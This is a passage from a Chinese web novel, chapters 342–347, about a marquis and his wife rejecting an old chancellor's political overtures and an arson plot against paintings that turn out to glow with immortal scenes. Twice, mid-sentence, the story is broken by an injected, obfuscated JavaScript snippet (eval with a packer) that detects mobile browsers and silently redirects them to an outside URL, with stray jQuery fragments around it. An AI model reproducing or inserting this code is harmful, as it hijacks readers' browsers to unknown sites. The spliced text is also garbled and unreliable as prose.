如此,华家军既能震慑住那些南地的势力,南地相对荒蛮,华家军又在那边没有根基,原本北疆屯田开垦得已经肥沃了的土地收回给了别人,他们就得在南疆重新垦荒、屯田。 这样以来,既有利于南地的发展,又能把华家军的力量消耗在垦荒屯田和跟当地大族的争斗当中,无论是圣上、太子还是朝廷都没有不乐意的。 而华家如果去南疆,就盘活了端侯府留在南边的根基,有那边帮忙遮掩,加上诸王割据的局面短期内不可能结束,他们想在那边干点什么,还真有可能。 华靖离这时候但凡有点不臣之心就会应下,可是他跟楚霆孝不一样,他沉声道: “看来老相爷这几年身子骨不错,精力充沛,老当益壮啊……” 第342章安的什么心 华靖离将杯中酒洒在前面的地上,举止间难得带了些玩世不恭的纨绔之气: “我可比不了老相爷,没那个精力一南一北地折腾。华家军为大恒而战,若大恒哪日四海升平,刀兵息止,或是圣上有令,华家军自当卸甲归田。” “都说我掌着华家军,遭人忌惮,这世人也是糊涂,也不看看老相爷宝刀未老,平时不声不响的,说不定哪天振臂一呼,南边儿就纷纷响应了。” “我向来敬重老相爷,以为您与老端侯之流不同。若是老相爷想拉我上船,我自认没那个心思,也没那样的能耐。但要是老相爷扑腾累了,想要下船,我自当相助一二,到时再论亲戚之谊也不迟。” 这样就被拒绝了,楚霆孝心里自然不高兴,他不**恼眼前的这个小辈不服管教、不识好歹,更多的是他想多拽一个人上传替他遮风挡雨没成的恼羞成怒。 楚霆孝见华靖离目光坚定,丝毫没有能被动摇的意思,就转而对夏明嫣道: “华侯夫人,你生母家族衰微,即便日后蛊医能重回元京,也不过是医家中的一支,并非主流。没有家族的倚仗,你在这元京高门当中,日子并不好过。” “若是你愿意劝说华侯日后与老夫一条心,你便与你母亲的亲生女儿无二,即便她有做得不对的地方,也有老夫来补偿你,你可愿意?” 得到与有着楚家血统的名门贵女一样的待遇么? 这些话要是夏明嫣小时候听到或许会心动,因为那时她在卢阳过得太卑微、太无望了。 可是现在想想,即便她能以楚氏女的名头在元京高门行走又如何,不过是另一个笑话罢了。 夏明嫣洒脱地笑了笑:“都说未嫁从父,出嫁从夫,若是从前,妾身能以夫人之女、相爷外孙的身份出入元京高门,妾身定然感恩戴德。” “可有句话是怎么说的来着,要在对的年华做对的事儿,有些东西错过了它该有的时节,便不重要了。如今妾身已是华家妇,若是再处处仗着娘家的出身行事,反而要让元京的贵女们看笑话了。” “女子出嫁前的地位,是姑娘家的,出嫁后的是妇人家的。后者……就是靠妾身自己去积攒吧。” 女子出嫁前看得更多的是平行贞静和才思聪颖,出嫁后看得更多的是人情练达、上下和婉,这两者有关联,却没有必然关联。 远的不说,就说夏明月,在夏家作为夏庸和楚氏实际意义上的独女,她作为闺中贵女时其实外人是挑不出她什么毛病的。 可如今呢,元京谁人不说夏明月不会做人媳妇,眼下更是连妻子都做不好了。还有好些人开始同情李玦,说他娶了一个疯妇。 夏明月有着夏、楚两家的支持,一样把日子过成那样。这还是现在呢, 再过上几年,他们指望着通过夏明月打探端侯府消息的时候,还得更加失望,说不定到时候夏明月身上还得再加上一条跟娘家不和呢。 更何况即便楚霆孝发了话了,夏庸和楚氏就能对她发自真心的好了?有些好不是真心的,还不如不要,因为不知道什么时候,他们是要管她收利钱的。 夏明嫣想着想着就不禁笑了出来:“我夫君说得很是呢,不知前因后果,什么都不说,就让别人卖命,这是**都还得做个糊涂鬼呢。” “何况这姻亲之谊在华家也没什么好论的,老相爷志在朝堂,自您夫人仙去之后,您对内宅和儿孙的事想来鲜少过问。有些事儿别人做了,连累到您这个做长辈的头上,您也只能认了,谁让儿女都是债呢?” 楚霆孝的脸色又沉了几分:“华侯夫人这又是在指责你的嫡母做了什么错事?不如今日一并说出来,省得日后还要因此跟老夫纠缠。” 他说完还冷冷地看了华靖离一眼,不管华靖离究竟为何拒绝他的拉拢,就好像华靖离都是被夏明嫣吹了枕边风一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801352|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏明嫣知道的心思,故意一开始就把关系撇清了:“老相爷误会了,夫人对妾身做了什么,说到底都是家家事。若论到影响了妾身的夫家,那就是另一件事了。” “老相爷您想想,二妹妹与妹夫青梅竹马、情意相投,一早就是元京人尽皆知的事。可正式定下婚事时,偏偏将二妹妹定给了华家,这是想干什么?” “让一个明显心有所属的女子嫁入华家,也还可以说从前是小儿女间私定终身,家里一直是不同意的,婚配时只是斧正了原本的错误。” “可那时妾身的夫君与二妹夫还是义结金兰的兄弟,我夫君却娶了自己好兄弟原本未过门的妻子,这不是让人结下多人之妻的仇怨么?可是安了好心的?” “再就是后来,二妹妹力主将亲事换了过来,妾身身子有异,不利于生养,夫人明明知道这当中内情,却说都没说一声,就将妾身嫁入了对子嗣传承更迫切的华家,这又是安的什么心?” “也就是妾身的公婆、夫君大度,才不计较这些算计的。可不计较归不计较,平时相处、节庆往来时一团和气是一回事,若要论共谋大事,这是无论如何都不能放心的。” 李玦毕竟是走文臣路线的,即便去过军中历练,也没经历过多少危险,即便她一个耽误了子嗣传承,后续纳妾也耽误不了什么。 可华靖离不一样,若没有**重伤那场变故,他本应该在成亲之后就尽快返回北疆的,要是这正妻不顶用,自己还不知道,他再在北疆出点儿什么事儿,回不来了,那可真就害了一大家子人了。 楚霆孝越听越怒,他怒的自然是楚氏和夏庸怎么在这种事儿上拎不清楚,要是当初就看不上端侯府的条件,不想委屈了夏明月,就该从小就把夏明月和李玦隔开才是。 既然前头放任了,想走一步看一步,想到了最后再选择,也不该对华家如此欺瞒,这不成了结仇了么? 第343章同舟未必共济 楚氏未出嫁时为人处事颇为大气,可自从出了陆家那档子事儿,她整个人就变了,变得优柔寡断,变得只看得见那点儿女情长。 只是楚霆孝现在再生楚氏的气也没有用,事已至此,夏家前头已经耍弄了华家,已经破坏了信任的基础,这件事已经没法回头了。 除非有更大、更明确的利益摆在面前,否则华靖离和夏明嫣不会做出妥协,可这件事的麻烦就在于,那件事至少目前还不能在华靖离面前坦露出来,他们之间显然没有足够的信任。 他要用华靖离和华家,就不可能把对方当做一个小卒子,就得让人家看到自己的根底,可有了今日这一场商谈,他是愈发不敢透这个底了。 华靖离到底跟李玦不一样,李玦空握巨宝,到底需要他们这些人先把他托起来放到那个位置上之后才能得到世人难以企及的一切,至少现在还需要用他们的时候,他是没有华靖离这般的底气的。 而且华靖离从小到大虽然也经历了不少艰难,在沙场上更是九死一生,可他所有的经历和手段都称得上光明正大。 李玦却不一样了,他深处逆境,却没有足以改变自身命运的能耐,因此他只能选择那些不入流的方式和手段。 女子尚且以以色侍人为耻,更何况是李玦这样的七尺男儿,但他没有法子,只能靠他这张脸和他找人宣扬出去的他和华靖离的兄弟情义以及那些算得上惊鸿一瞥的诗句,再或是甘心依靠裙带关系往上爬,来维持整个元京高门对他的关注。 在楚霆孝看来,尽管李玦用的这些手段不光彩,说是士林之耻也不为过,可毕竟他的目的也算是达到了,他能弯腰低头到这等程度,也算是个人物了,可低惯了头又用惯了低贱手段的人,到底是不一样的。 其实端侯府那边现在除了那笔没到手的巨额财富之外,别的掌握得也不多,他们四家人是各自掌握了某一个方面的东西和进展的,只是因为和夏家的关系,楚家掌握的东西最多而已。 可李玦和何夫人纵使也不知道事情的全局具体如何了,因为他们一直处在低头做人、不择手段的行事的状态里,凭着楚家和夏家还是能让他们听话的,但是反过来却不能如此要挟华靖离。 当然,这也是因为夏庸和楚氏从前对夏明嫣不好,做了面子功夫还被人家给识破了,导致现在华靖离压根就不相信因为夏明嫣和夏家的这层关系,他能得到多少好处。 不单如此,有了这些事儿在前,别说好处了,华靖离还得时刻担心会不会被他们给联手卖了…… 楚霆孝长叹了一声:“看来这话是没法说了,这亲戚也没**了。华侯,说到底姻亲之谊不如权利之交,若能抛开夏家,单论老夫与你的交情,可愿意跟着老夫一起走这条路?” “抛开夏家?老相爷是要跟我来‘女子如衣服’那一套了,可是夫妇一体,今日您能让我抛弃自己的妻子跟您谈交易,明日就会让我抛下华家和华家军的兄弟们。” 华靖离神情严肃,在台案下,温热的大掌附上了夏明嫣的手,看着她道, “我华靖离不习惯背弃,也不会背弃自己的家人、兄弟。老相爷有工夫游说我与您走同一条路,不如想一想,现在与您同路而行的这些人是否值得信赖,还有他们究竟有没有那个能耐跟您一起走完这条路。” “有些人在下面久了,活得像阴沟里的老鼠一样,他们都已经忘了当人的感觉了,这样的盟友真有能耐助你成事么?就算事情成了,他们可会背弃你?” “眼下楚家在这四家里势力最盛,出力想必也是最多的,事成之后,楚家可还会是那个得利最多的?老相爷如今高寿,也不知道能不能看到事成的那一天,到时候两位楚大人不知道能不能继承老相爷的衣钵,对付得了那些人……” 楚霆孝如今已经六十多岁了,十几年后,他就算活着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15801353|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也到了行将就木的时候了,反正华靖离和夏明嫣回忆过,都不记得那时候还有楚霆孝这号人物什么事儿了。 楚霆孝的两个儿子,也就是夏明月的两个舅父,不过是富贵环境里养出来的仕途中人,要说才能和为人圆滑够不够得上做官的标准,那还是够的,至少在如今三四品的位子上游刃有余,绝没有人说他们德不配位或是没能耐。 可是一个人在太平盛世里过得好,不意味着他在乱世里就活得成,尤其当他身边的人都如狼似虎、阴险狡诈的时候。 看看楚家的这些伙伴,陆家流放北地,从苦寒中挣出命来,还养了一支暗中的人马,最后还很可能将那些流放之人拉拔成了一支队伍南下起势。 李玦那就不用说了,表面冠玉公子,背地里他能亲手把自己按进这世上最肮脏的泥地里,更是熬了到了最后从海底取出了那笔宝藏,重建了李家军,直到最后杀了华靖离这个义兄,夺取功劳,坑杀华家军将领,封王拜相,架空成为新帝的谢维,成为大恒实际意义上的掌权者。 再看看夏家,虽说夏庸上一世在十几年后身子垮了,成了个瘫子,可是夏登云凭借他油盐不进、一心为公的品性和才学,成为了一代诤臣。那时候夏明月已经改嫁给了李玦,成了端王妃,夏登云有人护着也做到了二品大员。 可是楚家这两位年入中年的大人和他们的儿孙又落得多少好处呢?不过是过着荣养的寻常日子罢了,恐怕还不如现在呢。 这就不得不说到一个问题了,这种**了几路人马去干大事儿的,一开始势力最大的那一路,鲜少有能坚持到最后的。 而到了最后,即便这一开始最强的一支还在,除非他们依旧强大到了无法撼动的地步,否则都会被外力或是另外几支打压下去。 毕竟最强的这一支最遭人忌惮,要是不能稳稳地继续立身高位,那就只有被打压下去,才能叫人放心…… 第344章各走各路 反正上一世的最后乱得很,楚霆孝没露过面,不知是病重了还是已经过世,楚家的儿孙也没有一个再出头的,连原先的官位都没了。 后头楚家人能守着家产过日子就不错了,哪里是那些个虎狼之辈的对手,最后好处和前程都落在别人手里了,他们楚家不过是给做嫁衣的。 楚霆孝略微一愣就不敢深想了,他心里陡然生出一股怒意,紧接着又是一阵悲凉,这一冷一热的夹击之下,让他身形一晃: “既然华侯没有此意,老夫也不好强人所难,那便就此作罢,道不同不相为谋……华侯保重,日后自见真章。” “也请老相爷保重,若是哪天老相爷累了,想下船了,也不妨来找我,到时候咱们再论这亲戚之谊。” 华靖离拱手行礼,给夏明嫣使了个眼色,二人一同离开。 走到门口时,夏明嫣回头看了楚霆孝一眼,意味深长地道:“妾身虽与老相爷没有外孙缘,如今能嫁入华家,也是靠了夫人成全换亲。” “有句话便是不当说,今日也还是说了吧。老相爷与其在这儿要认妾室这个礼法上的外孙女,不如多看看您的亲外孙女,以后能不能笼络得住您另一位外孙女婿,可就要看他了。” 不等楚霆孝再说什么,夏明嫣便福身离开了。门外,华靖离正等着她,二人携手而行。 可没走出去几步,楚霆孝的声音便在他们身后响起:“既然华侯和华侯夫人如此不识抬举,那老夫也不得不为了自己的外孙女婿报一箭之仇了。” “你们且回去等着,老夫不是那等下作和牵连无辜之人,他的名声在哪儿被打压下去的,便在哪儿抬起来。” 谁是无辜之人,谁又是受了牵连的那个? 夏明嫣很想问问,还没等回身就被华靖离拉走了:“你拉我干嘛?这话都没说清楚,他这是要整咱们这罪魁祸首,还是要收拾你二弟?这都还没弄清楚呢。” “还能有谁?自然是靖和,出去和你说,咱们不在这儿惹晦气。” 华靖离带着夏明嫣去了对面的瓦肆,刚才他们去见楚霆孝的时候,郭林已经到对面另外给他们寻了一间雅房。 他们好不容易出来一趟瞧热闹,瞧的还是自己的热闹,怎么能因为中途冲出来一个楚霆孝,这热闹就不看了。 等到了地方,华靖离亲手在小桌上用炭火烧炙的铁板上放了切好的牛肉烤给她吃,才道, “你不是想问我,他话里指的要把面子找回来,为何不是我们,而是靖和么?你就想想,他今日为何敢如此找上你我,他就不怕我们告发他么?” 夏明嫣这两世以来都不了解楚霆孝,跟这样老谋深算的人打交道也欠缺经验,便存了向他取经的心思,回答起来自然无比认真: “他说了半天,可没说一点有实质意义的东西,咱们说的也只是猜测,并没有实际的证据,他不怕咱们去告。” “就算真去宫里说了,也最多只是加重宫里对他们几家的疑心,可这份疑心,就算没有咱们,也早就有了。所以他不怕,反倒是不妨一试,万一真的把你拉拢过去了,自然好。” “若是不成,他也没什么损失。反而今日见面之事要是让宫里知道了,会让宫里怀疑你是不是跟他有了什么……”真是阴险啊。 华靖离微微颔首,轻声道:“说对了一半儿,他也不是完全不怕我去举发他。毕竟我说的那些话已经证明了我并非在无端猜测,说不准手里已经有了些证据了。” “因此他也是有顾忌的,他要是为了找回点面子,证明他楚霆孝的外孙女婿不是好欺负的,就直接来攻讦你我,这事儿可就闹大了。” “尤其你今日把你的事儿说了,加上这妨害华家子嗣的大错,他要是再来这么一下子,那就是要跟我结下大仇了,他也担心我要反扑他。” “况且之前他应该没想到你我会拒绝得如此彻底,更是没想到我们已经发现了他们四家大致的关系,在见你我之前,他并没有做好发难的准备。突然发难,他总要有个理由。” “你我又都没有把柄可抓,他就是想在你我头上施展手段,也施展不开。他要是还想让圣上我与他们之间牵扯不清,也不可能闹出一件天大的事儿来,他要是直接把我怎样了,那就是决裂了,这关系可就不模糊了。” “说到底,还是跟我与李玦割袍断义选的这个由头一样,还是得举重若轻,高高举起,轻轻放下,才好。” 夏明嫣起初还不明白,听到李玦这儿,忽然就明白了。 楚霆孝是要把面子找回来,并不是真心实意地要为李玦出头。李玦毕竟只是他的外孙女婿,并不是外孙。 虽说是盟友吧,确切的说,楚霆孝跟过世了的老端侯才是盟友,跟李玦没什么交情,尤其李玦在成婚之前,端侯府的大事基本上都是何夫人管着的。 要说楚霆孝跟何夫人的关系,也就那样,没什么特别的,依照楚霆孝的性子,反而会觉得何夫人这个老娘们头发长、见识短呢? 这不是她腹诽何夫人,是上辈子,何夫人有次跟何雨萍抱怨楚家的时候就是这么说的,还说自己要是个男人就好了,不然也不会跟楚家的关系越行越远。 楚霆孝不会真的为李玦做出什么大事儿来,就像这次御青书院的擢选,他两个儿子抬抬手、吩咐几个人去给李玦造势可以,可是这么多年了,让楚霆孝开口把李玦安排到军中历练却是不行的。 楚霆孝心里既不欣赏李玦,也还把他当作一个孩子看待,根本就不会为他付出这么多。 因此这个面子要找,可要楚霆孝付出太多,直接就跟华靖离对上了,那就不可能了。 所以这件事就跟华靖离要顺着华靖和这个切口去跟李玦割袍断义一样,楚霆孝要生事,也不会选一件震惊元京的大事,定然也是选一件不大不小、无伤大雅的事儿动手。 第345章火烧如意楼 而且明面上割袍断义只是顺带的结果,整件事是从华景和开始的,是给华靖和洗冤才证明了李玦和夏明月为了擢选而故意陷害他,那么华靖和就是那个在哪儿摔倒就在哪儿爬起来的突破口。 只是有一点夏明嫣还是有些想不通:“可是二弟这事儿已经了了,吕大姑娘是何夫人派人杀的,她自己已经当堂承认了,孩子也不是二弟的。” “他从前那些荒唐事儿都是小事儿,远不如这一件,就算要做文章,也做不起来,这……还能是什么事儿?” “夫人,有一句话叫做‘故技重施’。” 华靖离笑了一下,将一块儿烤好的肉夹起来送到她唇边,“之前夏明月会盯上吕家的事,是因为咱们给她留了个口子,让她只能盯上这件事。” “现在对付这位楚相也是一样的,他昨日才回元京,接触这件事的时间还太短。因为他的儿女前面都惹出了乱子,这件事他暂时不会再让他们出手。” “他会选择自己动手,那他能够选择的范围就不大了。其实靖和那儿还留了一个口子,你是不是忘了?靖和被元京府衙带走的时候,他交待过你一件事?” “你是说,那个院子?那里面有很多的画,画得都是……仕女图,其实单看也还好,就是放在一起有点……” 夏明嫣说起来都禁不住脸红,其实那都是一些女子的画像,都是很正常、很风雅的那种,没有任何不雅之处。 而且那些画中的女子也不全是现实中有的,有许多是根据古籍上的描述画出来的,可几十幅画放在一起,真真假假的,难免有人会说他是个色中恶鬼,甚至会有人觉得他有怪癖。 这件事要是被揭出来,尽管元京府认为华靖和是无辜的,外面的人也会说他既然有这样的癖好,说不定吕大姑娘的事儿也和他有关。 毕竟即便孩子是李玦的,也不能说吕大姑娘生前就跟华靖和没有关系了,人们会说那种地方出来的女人,谁说的准呢,何夫人直接害死了吕大姑娘不假,可未必华靖和就没有想过逼死吕大姑娘。 到时候一样有人会说为了自己的亲弟弟脱罪,华靖离以势压人,逼得李玦和何夫人认下了所有的罪名。 这样以来,这件事绕来绕去就又回去了,等于之前华靖离和夏明嫣做的都成了无用功,这才是对华靖离最好的打击,而且一样的举重若轻,在明眼人眼里,绝对是对华靖离最好的回敬! 夏明嫣了然地点了点头,眼中闪过一抹狡黠,“那么他就会想要全元京的人都看到那些画,怎样才能让尽可能多的人看到。” “除了府衙派人去抄捡,就还有一个法子最好了,火,只要失火,周围所有的人还有府城司的人都会去救火,这样就会有很多人都看到了。” “不过没关系,我之前已经做了准备了,防着的就是有人刻意纵火,我在那些画上做了一些手脚……” 华靖离好奇:“那么多的画,能做什么手脚?总不至于仕女图变成山水画吧?” “老相爷要是真去放这把火,你很快就会看到了。”夏明嫣卖了个关子。 她心里烦得很,一个李玦,一个夏明月,到底什么时候才能彻底离开他们的视线。 最近她愈发觉得重活一世,不该把精力都放在复仇上,她跟华靖离都该有不一样的人生才对。 而且李玦的行为尚且能够通过他的动机来理解,夏明月可就不一样了,她是越来越疯了。 难道说是上辈子在家庙里关久了,真的有些不正常了? 上辈子夏明月很可能是在家庙里熬坏了身子,后来尽管害死了她,还改嫁给了李玦,可也没活多久就也病死了…… 要说疯了,还真有可能。不过,夏明嫣还是觉得夏明月是在封闭的环境里待太久了,变得适应不了外面的变化了。 要不然怎么她那时都成了端王妃了,李玦都把持朝政了,她也不记得提携一下楚家,任由着楚家一步一步走上下坡路…… 预期中的那场火很快就着了起来,就在他们二人跟楚霆孝见面后的第三天夜里,如意楼存放华靖和画作的偏院突然起火。 如意楼是元京文人墨客云集的地方,很多文人、画士和每年来赶考的学子都在里面租赁过院子,里面放的无外乎是些文墨之物,也有一些人雕刻的玉器、漆器。 平日里这些文人墨客经常会在里面举办一些诗会、茶会、酒会,应酬往来间也会请歌姬、舞姬,这如意楼做的就是这租赁和宴赏买卖的。 而在这儿租赁院子和屋子的文人墨客和学子们也不仅仅是求一个放东西的地方或栖身之所,更多的也是求一个能够交际往来、得到消息的地方。 华靖和在此处已经赁了三年院子,为的就是作画,那院子里堆放的都是画具和他的画作。 火是先从旁边的院子烧起来的,因为夜黑风高,火很快就蹿到了华靖和的院子这边,因着被浇了火油,很快就烧了起来。 自从出事儿以后,华靖和就没在外头过过夜,最晚在晚饭前后就回府去了,因此他的院子里只留了一个平时负责看门的小厮。 这小厮是外面买来的,守了三年都没出过事儿,最近又见吕家的风波了了,城里的风向都倒向了华家,他便有些松懈了。 一入夜小厮就打起了盹儿,没想到半夜就起了火了,等他发现的时候火都已经从屋顶蹿进屋里去了。 这会儿小厮自己带头泼湿了衣服,拎着水桶往院子里冲,还招呼着赶来救火的人,尽量把屋子里还没被烧着的东西搬出来。 华靖和在这儿放了许多的画作,有些是挂在墙上的,有些则是存放在了几只大箱子里。 这箱子里的一时间还没被烧着,就有人从附近的院子里取了帘子或棉被来,浇上水,盖着那几口箱子抬了出来。 院子眼看着是要保不住了,这些画儿可得保住了,要不然如意楼这边还真没法跟华靖和交代。 第346章画上有仙女 虽说这院子是华靖和租来自己画画儿用的,可也难保这当中没有别的名家之作,万一给烧了,只要赔银子还好,就怕这些公子哥儿闹起来,又闹得天翻地覆的。 箱子外面看还基本是好的,可刚才有些箱子是敞着盖儿的,盖上的时候里面未必就没进火星子,这几只箱子一抬出来,就有人要打开来检查。 当然,这围观的也有其他院儿里、屋里在这儿过夜的客人,也都想借此看看华靖和在这儿有何珍藏。 这院子里里外外的不是火就是救火的人,这如意楼的院子周围又环绕着一条人工开凿的小河,这些人就把箱子都抬到了河边火烧不到的地方。 十几盏灯笼照着,这些箱子打开了,只有零星一些地方刚才被火星子燎到了,如意楼里的人松了一口气,便有人借机要打开那一卷卷的画轴察看。 “别看了,快别看了,这都是我家公子的东西,别再给弄坏了!” 那负责看院子的小厮这会儿要赶过来了,见状连忙阻拦,他可知道那些画儿都是什么。 别说那些仕女图里有些画的是这城中几个以美貌称著的美人儿,就是那些按照古籍描述所绘的仕女图。 虽然并非当世之人,也并非那些女子实际的长相,可但凡貌美到一定程度的女子都有那么几分相似之处,这些画万一被人看了去,说是华靖和画了这家的贵女、那家的夫人,可就不好了。 “让开,让开,这有什么不能看的?我们也是帮华老弟看看这些画儿有没有被损毁!” “就是,这有什么见不得人的?不会是舍不得给我们看吧?华兄的画儿最近可出名了,听说他就是靠着这一手画技进的御青书院的擢选!” “那可得好好看看了,错过了这次的机会,以后且得后悔呢!你就别拦着了,回头华兄要是怪罪下来,我们替你说情。” 小厮这边阻拦着,却拦不住那些看热闹的人,他着急地扑腾着胳膊,想去把那几口箱子盖上: “这都是要带回府去的,你们也太欺负人了,我们公子说了不能随意给人看,你们怎么能……” 这推推搡搡的眼看着就要打起来了,而前头已经被打开的几幅画作,赫然正是仕女图。 画轴一开,就引来阵阵咂舌声和惊呼,这些个寄居在这里的人平时便有几分纨绔、洒脱之气,这时候已经议论起来了,连那边的火还没完全扑灭都顾不上了。 这小厮之所以能被华靖离买来看这一院子的画,也不是个完全不通文墨的,一听这些人嘴里荤的素的都开始来了,当即便吓得脸色都变了。 眼看着元京府救火的人也赶过来了,还附带着附近商铺的邻里,他急得都要给这些人跪下了。 尤其是那边着火的烟气飘散过来,配上旁边冷月下的烟波流水,还有那些个因为救火而弄得灰头土脸、满身烟尘的人…… 这些仕女图出现在这里尤其的不合时宜,此时此刻的情景,就像是战火中都已经生灵涂炭了,可有那不食人间烟火、为富不仁的家伙却在为了抢出自家的财物而不顾他人死活的感觉。 这事儿传出去可绝对不好听,小厮现在想得已经不是这些画儿烧了,华靖和会不会追究他守业懈怠的问题了,这要是坏了华靖和的名声,又连累了华家,那可就是大罪过了! 眼看着救火的人源源不断地涌了进来,里面很多都是长期受雇于官府的杂役,还有那专门负责元京火情的大小统领,小厮都要哭了。 “快,快,都放回箱子里去,这都是我们公子的东西,不能随便看。小心公子怪罪下来,我们兄长的大哥可是钩翊侯华大将军……” 这时候小厮已经顾不上提不提华靖离的名讳了,反正他不说,也有人会说,等会儿那些成府衙门来救火的也会过来一一查问的。 可是他越是拦着那些人就越要起哄,一时间说话更是肆无忌惮起来。 “华二公子画功了得啊,这是画的哪家娘子啊?” “都说华二公子一表人才、风流倜傥,这画也……” 话没有说下去,这些看画儿的交换着眼神,随即引发了一阵阵的大笑,这笑中的意味,是个男子都能听明白了。 阻拦的小厮只恨刚才不该让人把这几口箱子搬出来,哪如都在里面给烧成了灰呢。 他拼命地扑腾着,终于打落了几幅画作,有些都掉到旁边的河水里了,而就在这时,月光穿过夜里乌青的云层照了下来,那些画作居然发生了变化。 “咦,这怎么……会发亮?这不是仕女图啊,不全是,怎么像山水?” “什么山水,这画上是有仙宫的,这背景里的泉水、河流难道都是仙泉和仙河?” “这可不是什么仕女图,这时仙人图,这上面的都是仙女和仙人!” 那小厮都愣住了,他再看那些打开的画儿时也愣住了眼,那些画儿原本空白或是画着亭台楼阁、草木虫鱼的背景上,竟然出现了日月星辰、山河湖泊、亭台楼宇,而这一切竟然都在散发出阵阵柔和的荧光! 那光亮也不知是用什么特殊的颜料画出来的,那光并不刺眼,而且经久不灭,就是掉到水里的那几幅也正漂在水上发着光呢,一时间竟然成了一道奇景! 小厮渐渐镇定下来,他敢肯定这发光的不是磷粉,因为那些画儿丝毫没有着火的迹象。要是磷粉,那边着着火,这边这么热,早就着起来了。 小厮这会儿冷静了下来,倒是没想太多,只想着这是华靖和自己的特殊设计呢,光是这会发光的颜料,就是一绝。 一时间他也不怕了,反而故意夸张地掩饰起来:“看到了吗?我们公子画的都是仙宫里仙子,这种画儿平时要看,看之前那是要沐浴更衣的,岂能在这烟火之气里就这么打开了?” “你们要看就看,弄坏了画儿对仙人不敬,有你们的苦头吃!” 众人这才重视起来,刚忙要把手上的画儿收回箱子里去,嘴上也客气了很多,许多人都在向那小厮赔罪。 然而就在这时,有人指着那条小河惊呼道:“锦鲤,锦鲤怎么都游过来了?不是应该那边的锦鲤池子里么?怎么都……” 第347章风雅之士 这如意楼前头有一个很大的锦鲤池,池水跟这边的流水是相连的,只是这中间有机关,平时锦鲤是过不来的。 只是这时远远望去竟是一片粼粼波光,在月光的映照下竟是一片光亮的红橘之色,显然那些锦鲤竟不知怎的突破了那一直没有出现问题的机关,游到了这边来。 只是那些锦鲤离这里还远,只看到了一片彩色斑斓,还看不清具体的情况,这时不知从哪儿冒出来一个人大喊起来: “你们快看,那都是死鱼!鱼全都死了,这华二公子的院子刚着了火,就死了这么多鱼,这些鱼还漂过来了,这是不祥之兆啊!” “啊?那些鱼都死了?会不会是被人下药了?华二公子也没做什么伤天害理的事,怎么就有不祥之兆了?” “我听说那锦鲤池的机扩不会放活物过来,这么多鱼漂过来,不是死的还能是活的不成?” “之前吕家那件事说不准还有内情呢,还有这仙女、仙宫的,华二公子出身高门又如何,又没有听说他有仙缘,也不曾修道、礼佛,这些东西哪里是他随随便便就能画的……” 一时间议论纷纷,那小厮刚刚才放下来的心又悬了起来,在场的人大多也都以为那些鱼是死的。 这下不是说这是不祥之兆,就怀疑被烧毁的那些东西里会不会有什么是有毒的,因为救火打水时木桶沾了这河里的水,这湖和池子都是人工开凿的,这一循环,就把毒带到锦鲤池那边去了,这才把那些鱼都毒死了。 小厮急得快哭了,心说这去钩翊侯府报信的人怎么还不回来,这好歹得来个人啊。 这如意楼里的都是文人墨客,平日里最爱对这些事评头论足,天一亮,这些人一出去,可就谁都知道华家出了不祥之兆了。 到时候什么仙女、仙宫都得变成妖女和地府,谁还管你画的是什么。 而且小厮心里清楚,华靖和的确画过不少仕女图,里面还涉及了现在元京里的几位美人儿。 虽然不多,多数都是按照古籍中的描述所画,可是刚刚烧掉了至少一半画作,这就相当于死无对证了,别人会说他画得都是当世的美人儿,他就是专门盯着人家姑娘家画的。 这弄不好就不止是德行有亏了,这是要吃官司的啊…… 小厮急得不行,外头终于传来一阵闹哄哄的人声,华靖和终于被叫过来了。 华靖和简直就是被人潮推着进来的,脚跟都要不沾地了,他这一晚还睡得比平时早,刚刚是被他大哥的人从被窝里拽出来的,一出来就知道他的院子失火了。 华靖和这一路上吓得腿都哆嗦,他当然能猜到这不是什么意外失火了,这一定是端侯府那边给他的下的套,就是要把之前失了的面子找回来呢。 可是这一路上,是郭林陪着他来的,郭林只说让他不要太担心,还让他在马车上换了一身颇显得仙风道骨的衣衫,还说这衣裳是他嫂子夏明嫣亲笔画的图样,专门找了老师傅给他做的。 华靖和简直不知道该如何是好了,而且等到了如意楼的时候,郭林就把他一个人推了进来,郭林自己不知道跑哪儿去了。 华靖和就这样被人们推到了河边上,让他去看那些死鱼,亲手把推到那不祥之兆面前。 他直觉得手脚冰凉,想着一路上被教导的一定要有文士之风、大家风范,他挺直了脊背、睁大了眼睛。 他脑子里没来由的出现了李玦平日里装模作样的样子,他不想像李玦那样,所以他表现得更加严肃。 只是他不知道的是,他到底少了许多经验,这份严肃反而显得他的脸拉得特别长,看起来他就像是要到河边做法的。 华靖和刚走到河边就看到了他那些被用特殊颜料改动了的话,他自己先就惊呼起来: “这画怎么这……么样的晾在这里?这都是我画的仙宫祈福图,是要在祈福仪式上用的,怎么能在这儿让这么多人看啊。” 华靖和心里那个虚,趁着低头看路,小眼神儿一个劲儿地乱瞟,他是真不想让这些人看,看多了就怕看出破绽来。 他记着郭林说的让他扮出才俊雅士的样子,可他毕竟缺乏准备,就算要装,也得等他准备好了再装,先把这些画收起来,让他定定神儿再说。 他轻咳了一声,煞有介事地道,“先把画都收起来,火现在也灭了,还请各位到前厅叙话。要是有人对华某的画感兴趣,华某之后再做解释。” 那些人哪里可依,当中有人故意闹事儿,更多的人则是想看热闹,哪里会嫌事儿大的。 